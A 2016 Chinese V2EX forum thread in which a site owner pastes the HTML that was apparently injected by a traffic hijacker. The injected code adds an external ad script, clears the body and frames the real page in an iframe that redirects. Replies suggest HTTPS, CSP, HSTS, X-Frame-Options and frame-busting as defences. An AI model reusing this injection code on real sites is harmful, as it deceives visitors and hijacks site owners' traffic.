网站被劫持,头部加入弹窗广告,body 被清空,只留一个 iframe,框入我的内容

2016-04-30 01:26:14 +08:00
 ab
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<script src="http://j.qiqiww.com/i.php?z=10295"></script>
<script>url = {a: "http://120.27.28.39/hh/kd580102.html", m: "http://www.123.com/"};
var _xus = "Y1zOwBolM1s9dBFpzkiUM3gO";
var _xai = "0";</script>
<script>function goURLa(a) {
var desturl = (a === 2 ? url.a : url.m);
if (desturl.slice(desturl.length - 1) == "/") desturl = desturl.slice(0, desturl.length - 1);
return "<html></head><script>document.location.replace(\"" + desturl + "\");<\/script><\/html>"
}
;</script>
</head>
<body style='margin:0px;overflow-x:hidden;overflow-y:hidden;'>
<iframe src='JavaScript:parent.goURLa(1)' scrolling=auto width='100%' height='100%' frameborder='no' onload=''
style='position:fixed;'></iframe>
</body>
</html>

源码变成上面那样.表面看,内容就还是我的内容,但是加了弹窗了

有什么技术变成防止吗?
2738 次点击
所在节点    问与答
10 条回复
m939594960
2016-04-30 01:30:28 +08:00
https
Slienc7
2016-04-30 02:05:33 +08:00
投诉
投诉
投诉



HTTPS 从操作上来说最简单了;
如果能插脚步那就
Slienc7
2016-04-30 02:08:36 +08:00
接:如果能插自己的脚本那就清空 body ,全部动态加载内容 ;
上 CSP ,可以干掉站外脚本;
不买华为。

其实除了 HTTPS 其他可操作性或效用都不大 。
lyragosa
2016-04-30 02:23:00 +08:00
HTTPS 啊,不然你以为为啥百度淘宝都加入全站 https 了
Jaylee
2016-04-30 09:52:15 +08:00
教你一个猥琐的方法

des
2016-04-30 10:42:07 +08:00
@Jaylee 这个不行的

好像可以 try 一下 window===window.top
然后 catch 里面做你想做的
另外上 https 也是个方法
还有记得好像有个 htto 头也可以禁止 iframe ,不过要求比较高的浏览器版本
des
2016-04-30 10:45:09 +08:00
话又说回来就算你上 https ,并且开了 hsts 也没用,因为默认第一次还是会走 http
ab
2016-04-30 18:51:16 +08:00
@des 试过没用吗? 看着挺有道理.

目前上 https 因一些原因不太现实啊.而且你说的有理,第一次是还是 http

X-Frame-Options 也试用,没有用,禁止 iframe 了一样被劫,只是显示空白页面了,窗还是照弹
ab
2016-04-30 18:52:02 +08:00
@Jaylee 的方法试过没用吗? 看着挺有道理. @des
des
2016-04-30 21:59:35 +08:00
@ab 你去看看爆栈是怎么实现的吧

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/275444

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX